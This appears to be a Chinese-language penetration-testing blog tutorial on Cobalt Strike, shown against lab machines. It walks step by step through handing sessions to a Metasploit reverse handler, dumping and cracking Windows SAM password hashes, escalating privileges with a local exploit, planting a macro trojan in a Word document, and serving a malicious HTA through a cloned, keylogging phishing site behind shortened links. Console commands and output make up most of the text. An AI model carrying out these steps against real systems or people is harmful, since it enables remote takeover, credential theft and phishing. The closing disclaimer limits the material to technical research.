渗透测试工具Cobalt strike-2.CS基础使用

三、结合metasploit,反弹shell

  在kali中开启使用命令开启metasploit

msfconsole

┌──(root㉿oldboy)-[~]
└─# msfconsole
---
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
---
msf6 exploit(multi/handler) > show optionsModule options (exploit/multi/handler):Name  Current Setting  Required  Description----  ---------------  --------  -----------Payload options (generic/shell_reverse_tcp):Name   Current Setting  Required  Description----   ---------------  --------  -----------LHOST                   yes       The listen address (an interface may be specified)LPORT  4444             yes       The listen portExploit target:Id  Name--  ----0   Wildcard Target---
msf6 exploit(multi/handler) > set lhost 10.0.0.200
lhost => 10.0.0.200
---msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
---
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
---

在靶机中
使用Cobalt Strike创建一个windows/foreign/reverse_tcp的Listener。其中ip为Metasploit的ip地址(10.0.0.200)，端口为Metasploit所监听的端口(7777)。

开始攻击，建立会话：

msf6 exploit(multi/handler) > run[*] Started HTTP reverse handler on http://10.0.0.200:7777
[!] http://10.0.0.200:7777 handling request from 10.0.0.101; (UUID: 2sotjla4) Without a database connected that payload UUID tracking will not work!
[*] http://10.0.0.200:7777 handling request from 10.0.0.101; (UUID: 2sotjla4) Staging x86 payload (176220 bytes) ...
[!] http://10.0.0.200:7777 handling request from 10.0.0.101; (UUID: 2sotjla4) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.0.0.200:7777 -> 127.0.0.1) at 2024-05-28 21:41:00 +0800----
meterpreter > shell
Process 1152 created.
Channel 1 created.
Microsoft Windows [�汾 5.2.3790]
(C) ��Ȩ���� 1985-2003 Microsoft Corp.C:\Documents and Settings\Administrator\����>ipconfig
ipconfigWindows IP ConfigurationEthernet adapter ��������:Connection-specific DNS Suffix  . : IP Address. . . . . . . . . . . . : 10.0.0.101Subnet Mask . . . . . . . . . . . : 255.255.255.0Default Gateway . . . . . . . . . : 10.0.0.254C:\Documents and Settings\Administrator\����>

如果有其他的主机上线，在增加会话中选择msf（的端口），该上线主机也能反弹shell
这样我们就可以利用metaspliot中的相关工具，进行进一步渗透。

 渗透：

C:\Documents and Settings\Administrator\����>^C
Terminate channel 1? [y/N]  y
--------------------------------------------------
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions -iActive sessions
===============Id  Name  Type                 Information           Connection--  ----  ----                 -----------           ----------1         meterpreter x86/win  OLDBOY-F74D04FE\Admi  10.0.0.200:7777 -> 1dows                 nistrator @ OLDBOY-F  27.0.0.1 (10.0.0.10174D04FE               )msf6 exploit(multi/handler) > search ms17-010Matching Modules
================#  Name                                      Disclosure Date  Rank     Check  Description-  ----                                      ---------------  ----     -----  -----------0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code ExecutionInteract with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce                                        msf6 exploit(multi/handler) > use ...

msf6 exploit(multi/handler) > sessions -iActive sessions
===============Id  Name  Type                 Information           Connection--  ----  ----                 -----------           ----------1         meterpreter x86/win  OLDBOY-F74D04FE\Admi  10.0.0.200:7777 -> 1dows                 nistrator @ OLDBOY-F  27.0.0.1 (10.0.0.10174D04FE               )
------------
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...----------
meterpreter > hashdump
123:1015:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
ASPNET:1006:31ca4e307dc8dd4939d0ac34166cf041:47acc6d9ea07e60931e2a49bb6433aae:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_OLDBOY-F74D04FE:1003:bc210210ecc96be6fd0522aa8ea96524:23561981a86db65e75fd296999b95667:::
IWAM_OLDBOY-F74D04FE:1004:cac4a79fa775cb9b8665ee4c08ed3930:8856078abf69a2bb27f287b8afde005b:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:03ebb3c522071ac94b606f483fc10157:::
meterpreter > 

如：Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: 

哈希值：44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

解码：123456 

哈希值可通过cmd5解码： 

 帮助：

meterpreter > ?Core Commands
=============Command                   Description-------                   -----------?                         Help menubackground                Backgrounds the current sessionbg                        Alias for backgroundbgkill                    Kills a background meterpreter scriptbglist                    Lists running background scriptsbgrun                     Executes a meterpreter script as a backgroundthreadchannel                   Displays information or control active channelsclose                     Closes a channeldetach                    Detach the meterpreter session (for http/https)disable_unicode_encoding  Disables encoding of unicode stringsenable_unicode_encoding   Enables encoding of unicode stringsexit                      Terminate the meterpreter sessionget_timeouts              Get the current session timeout valuesguid                      Get the session GUIDhelp                      Help menuinfo                      Displays information about a Post moduleirb                       Open an interactive Ruby shell on the currentsessionload                      Load one or more meterpreter extensionsmachine_id                Get the MSF ID of the machine attached to thesessionmigrate                   Migrate the server to another processpivot                     Manage pivot listenerspry                       Open the Pry debugger on the current sessionquit                      Terminate the meterpreter sessionread                      Reads data from a channelresource                  Run the commands stored in a filerun                       Executes a meterpreter script or Post modulesecure                    (Re)Negotiate TLV packet encryption on the sessionsessions                  Quickly switch to another sessionset_timeouts              Set the current session timeout valuessleep                     Force Meterpreter to go quiet, then re-establish sessionssl_verify                Modify the SSL certificate verification settingtransport                 Manage the transport mechanismsuse                       Deprecated alias for "load"uuid                      Get the UUID for the current sessionwrite                     Writes data to a channelStdapi: File system Commands
============================Command       Description-------       -----------cat           Read the contents of a file to the screencd            Change directorychecksum      Retrieve the checksum of a filecp            Copy source to destinationdel           Delete the specified filedir           List files (alias for ls)download      Download a file or directoryedit          Edit a filegetlwd        Print local working directorygetwd         Print working directorylcat          Read the contents of a local file to the screenlcd           Change local working directorylls           List local fileslpwd          Print local working directoryls            List filesmkdir         Make directorymv            Move source to destinationpwd           Print working directoryrm            Delete the specified filermdir         Remove directorysearch        Search for filesshow_mount    List all mount points/logical drivesupload        Upload a file or directoryStdapi: Networking Commands
===========================Command       Description-------       -----------arp           Display the host ARP cachegetproxy      Display the current proxy configurationifconfig      Display interfacesipconfig      Display interfacesnetstat       Display the network connectionsportfwd       Forward a local port to a remote serviceresolve       Resolve a set of host names on the targetroute         View and modify the routing tableStdapi: System Commands
=======================Command       Description-------       -----------clearev       Clear the event logdrop_token    Relinquishes any active impersonation token.execute       Execute a commandgetenv        Get one or more environment variable valuesgetpid        Get the current process identifiergetprivs      Attempt to enable all privileges available to the currentprocessgetsid        Get the SID of the user that the server is running asgetuid        Get the user that the server is running askill          Terminate a processlocaltime     Displays the target system local date and timepgrep         Filter processes by namepkill         Terminate processes by nameps            List running processesreboot        Reboots the remote computerreg           Modify and interact with the remote registryrev2self      Calls RevertToSelf() on the remote machineshell         Drop into a system command shellshutdown      Shuts down the remote computersteal_token   Attempts to steal an impersonation token from the targetprocesssuspend       Suspends or resumes a list of processessysinfo       Gets information about the remote system, such as OSStdapi: User interface Commands
===============================Command        Description-------        -----------enumdesktops   List all accessible desktops and window stationsgetdesktop     Get the current meterpreter desktopidletime       Returns the number of seconds the remote user has been idlekeyboard_send  Send keystrokeskeyevent       Send key eventskeyscan_dump   Dump the keystroke bufferkeyscan_start  Start capturing keystrokeskeyscan_stop   Stop capturing keystrokesmouse          Send mouse eventsscreenshare    Watch the remote user desktop in real timescreenshot     Grab a screenshot of the interactive desktopsetdesktop     Change the meterpreters current desktopuictl          Control some of the user interface componentsStdapi: Webcam Commands
=======================Command        Description-------        -----------record_mic     Record audio from the default microphone for X secondswebcam_chat    Start a video chatwebcam_list    List webcamswebcam_snap    Take a snapshot from the specified webcamwebcam_stream  Play a video stream from the specified webcamStdapi: Audio Output Commands
=============================Command       Description-------       -----------play          play a waveform audio file (.wav) on the target systemPriv: Elevate Commands
======================Command       Description-------       -----------getsystem     Attempt to elevate your privilege to that of local system.Priv: Password database Commands
================================Command       Description-------       -----------hashdump      Dumps the contents of the SAM databasePriv: Timestomp Commands
========================Command       Description-------       -----------timestomp     Manipulate file MACE attributes

上面使用的哈希值： meterpreter > hashdump

---

cs提权

右击执行--提取--选择攻击方式--

执行成功--自动新建会话提权为SYSTEM：

 建议在msf进行提权（使用use exploit/windows/local模块）payload较cs强大

 

msf提权大致流程 ：

┌──(root㉿oldboy)-[~]
└─# msfconsole
-------msf6  >use exploit/windows/local19   exploit/windows/local/mqac_write                                        2014-07-22       average    Yes    MQAC.sys Arbitrary Write Privilege Escalation20   exploit/windows/local/ms11_080_afdjoinleaf                              2011-11-30       average    No     MS11-080 AfdJoinLeaf Privilege Escalation21   exploit/windows/local/ms13_005_hwnd_broadcast                           2012-11-27       excellent  No     MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation
----------------
msf6 > use exploit/windows/local/ms11_080_afdjoinleaf
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > show options Module options (exploit/windows/local/ms11_080_afdjoinleaf):Name     Current Setting  Required  Description----     ---------------  --------  -----------SESSION  3                yes       The session to run this module onPayload options (windows/meterpreter/reverse_tcp):Name      Current Setting  Required  Description----      ---------------  --------  -----------EXITFUNC  thread           yes       Exit technique (Accepted: '', seh,thread, process, none)LHOST     10.0.0.200       yes       The listen address (an interface may be specified)LPORT     4444             yes       The listen portExploit target:Id  Name--  ----0   Automaticmsf6 exploit(windows/local/ms11_080_afdjoinleaf) > sessions -iActive sessions
===============Id  Name  Type                 Information           Connection--  ----  ----                 -----------           ----------1         meterpreter x86/win  OLDBOY-F74D04FE\Admi  10.0.0.200:7777 -> 1dows                 nistrator @ OLDBOY-F  27.0.0.1 (10.0.0.10174D04FE               )2         meterpreter x86/win  OLDBOY-F74D04FE\Admi  10.0.0.200:7777 -> 1dows                 nistrator @ OLDBOY-F  27.0.0.1 (10.0.0.10174D04FE               )3         meterpreter x86/win  NT AUTHORITY\SYSTEM   10.0.0.200:4444 -> 1dows                 @ OLDBOY-F74D04FE     0.0.0.101:1844 (10.0.0.101)msf6 exploit(windows/local/ms11_080_afdjoinleaf) > run[*] Started reverse TCP handler on 10.0.0.200:4444 
[*] Running against Windows Server 2003 SP2
[-] This meterpreter session is already running as SYSTE
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > 

 步骤解读：

1. 尝试切换到exploit/windows/local目录，查看payload模块。
2. 选择了exploit/windows/local/ms11_080_afdjoinleaf模块，Metasploit自动设置了payload为windows/meterpreter/reverse_tcp，这是该模块需要的payload类型。
3. 查看了模块和payload的选项，确认了设置的session为3，监听的IP地址为10.0.0.200，端口为4444。
4. 使用sessions -i命令列出所有活动的Meterpreter会话。可以看到有三个会话，其中第3个会话是SYSTEM权限的。
5. 尝试运行exploit/windows/local/ms11_080_afdjoinleaf模块，但收到错误消息[-] This meterpreter session is already running as SYSTEM，这意味着攻击者已经在具有SYSTEM权限的会话（session 3）中，所以尝试通过该漏洞进一步提权是不必要的，因为权限已经是最高的了。
6. 最后，Metasploit确认了漏洞利用过程完成，但没有创建新的会话，这通常是由于权限已经达到最高，无需再提升。

---

office宏payload应用

环境：虚拟机windows-xp  office2003    cs软件

第一步、生成office宏

 

第二步，把cs生成的代码放到word宏里面去 

 原内容删除粘贴cs宏木马--保存--关闭

 编辑文件内容后--保存关闭 

cs 生成的代码直接放到创建里面去，注意：做试验的时候，宏的位置不要设置所有的活动模板和文档，建议应用在当前文档，不然本机所有word文档运行都会种上你的木马，另外打开word文档有宏提示，一般是word默认禁用所有宏（高版本：文件—选项—信任中心—信任中心设置里面配置；低版本：工具-选项-安全性-宏安全性-选择低）。 

 

 打开文件：

 成功监听： 

---

hta网页挂马

HTA是HTML Application的缩写（HTML应用程序），是软件开发的新概念，直接将HTML保存成HTA的格式，就是一个独立的应用软件，与VB、C++等程序语言所设计的软件界面没什么差别。

 把生成的evil.hta上传到cs服务器端：

cs客户端--攻击--钓鱼攻击--文件下载：

 填写evil.hta文件位置进行上传--URL根目录下evil.hta--主机地址：服务器主机IP--端口自定义--Mime默认：

生成的网站：

http://10.0.0.200:89/evil.hta

查找上传服务器文件位置：

cs服务器端kali2022（IP：10.0.0.200） 

┌──(root㉿oldboy)-[~]
└─# cd /root/cobaltstrike4┌──(root㉿oldboy)-[~/cobaltstrike4]
└─# ls
手册                crackInfo.txt  keytool.exe         peclone
agscript            cs.bat         Ladon               Scripts
c2lint              csnat          Ladon911            teamserver
cobaltstrike.auth   csnat.rar      libicmp64.so        teamserver.bat
cobaltstrike.bat    cs.sh          libicmp.so          third-party
CobaltStrikeCN.jar  data           libtapmanager64.so  uploads
cobaltstrike.jar    ElevateKit     libtapmanager.so
cobaltstrike.store  icon.jpg       logs┌──(root㉿oldboy)-[~/cobaltstrike4]
└─# cd /root/cobaltstrike4/uploads┌──(root㉿oldboy)-[~/cobaltstrike4/uploads]
└─# ls
evil.hta

 克隆网站：

（如果之前设置过钓鱼页面，记得一定要删掉，不然会克隆的时候会报错）

 

 生成的网站：

http://10.0.0.200:88/

 

 通过在线平台生成短链接：

1、https://uutool.cn/dwz/

 2、https://www.metools.info/master/shorturl180.html

生成的短链接：

https://3mw.cn/11fa2

 需受害者手工点击保留下载后点击文件运行：

 

 运行后成功监控：

克隆网站选择了开启键盘记录，视图--web日志查看键盘记录：

---

 

声明：

• 此文章只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试留言私信，如有侵权请联系小编处理。